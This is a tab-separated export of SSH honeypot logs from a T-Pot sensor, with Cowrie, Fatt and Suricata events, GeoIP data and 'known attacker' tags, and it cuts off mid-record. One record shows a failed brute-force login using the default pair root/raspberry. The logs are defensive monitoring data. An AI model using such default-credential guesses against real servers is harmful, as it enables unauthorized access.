24858	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:06.896338+03	2021-09-20 14:15:09.34347+03	{"_id": "ogblAnwBvYTbRNuEMhVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7384 (192.168.176.2:22) [session: 19002722f790]", "session": "19002722f790", "@version": "1", "protocol": "ssh", "src_port": 7384, "dest_port": 22, "timestamp": "2021-09-20T11:09:06.896338Z", "@timestamp": "2021-09-20T11:09:06.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24859	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:06.441087+03	2021-09-20 14:15:09.34447+03	{"_id": "pwblAnwBvYTbRNuEMhVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0667e1517904", "@version": "1", "duration": 2.6174423694610596, "timestamp": "2021-09-20T11:09:06.441087Z", "@timestamp": "2021-09-20T11:09:06.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24860	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.115937+03	2021-09-20 14:15:09.34647+03	{"_id": "qQblAnwBvYTbRNuEMhVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/raspberry] failed", "session": "210e7223bfdd", "@version": "1", "password": "raspberry", "username": "root", "timestamp": "2021-09-20T11:09:07.115937Z", "@timestamp": "2021-09-20T11:09:07.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24861	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.222541+03	2021-09-20 14:15:09.347471+03	{"_id": "qgblAnwBvYTbRNuEMhVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "19002722f790", "@version": "1", "timestamp": "2021-09-20T11:09:07.222541Z", "@timestamp": "2021-09-20T11:09:07.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24863	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:07.2417+03	2021-09-20 14:15:09.35147+03	{"_id": "vAblAnwBvYTbRNuENRWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56802, "timestamp": "2021-09-20T11:09:07.241700", "@timestamp": "2021-09-20T11:09:07.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24864	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:09.246311+03	2021-09-20 14:15:09.352471+03	{"_id": "1gblAnwBvYTbRNuEOhUZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f08e090600e3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:09.246311Z", "@timestamp": "2021-09-20T11:09:09.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24865	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:09.304419+03	2021-09-20 14:15:09.353472+03	{"_id": "1wblAnwBvYTbRNuEOhUZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5b7345a45054", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:09.304419Z", "@timestamp": "2021-09-20T11:09:09.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24866	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:09.95006+03	2021-09-20 14:15:09.35547+03	{"_id": "5gblAnwBvYTbRNuEPBVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1123296818303996, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48580, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.950060Z", "@timestamp": "2021-09-20T11:09:09.950Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24867	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:09.546625+03	2021-09-20 14:15:09.356471+03	{"_id": "5wblAnwBvYTbRNuEPRVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38238, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.546625", "@timestamp": "2021-09-20T11:09:09.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24868	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:11.589562+03	2021-09-20 14:15:09.35747+03	{"_id": "GAblAnwBvYTbRNuERRY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38644, "dest_port": 22, "timestamp": "2021-09-20T11:09:11.589562", "@timestamp": "2021-09-20T11:09:11.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24869	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:12.10613+03	2021-09-20 14:15:09.358471+03	{"_id": "HwblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:50424 (192.168.176.2:22) [session: 84220765f87d]", "session": "84220765f87d", "@version": "1", "protocol": "ssh", "src_port": 50424, "dest_port": 22, "timestamp": "2021-09-20T11:09:12.106130Z", "@timestamp": "2021-09-20T11:09:12.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24870	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:12.682481+03	2021-09-20 14:15:09.36047+03	{"_id": "MAblAnwBvYTbRNuESRYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": 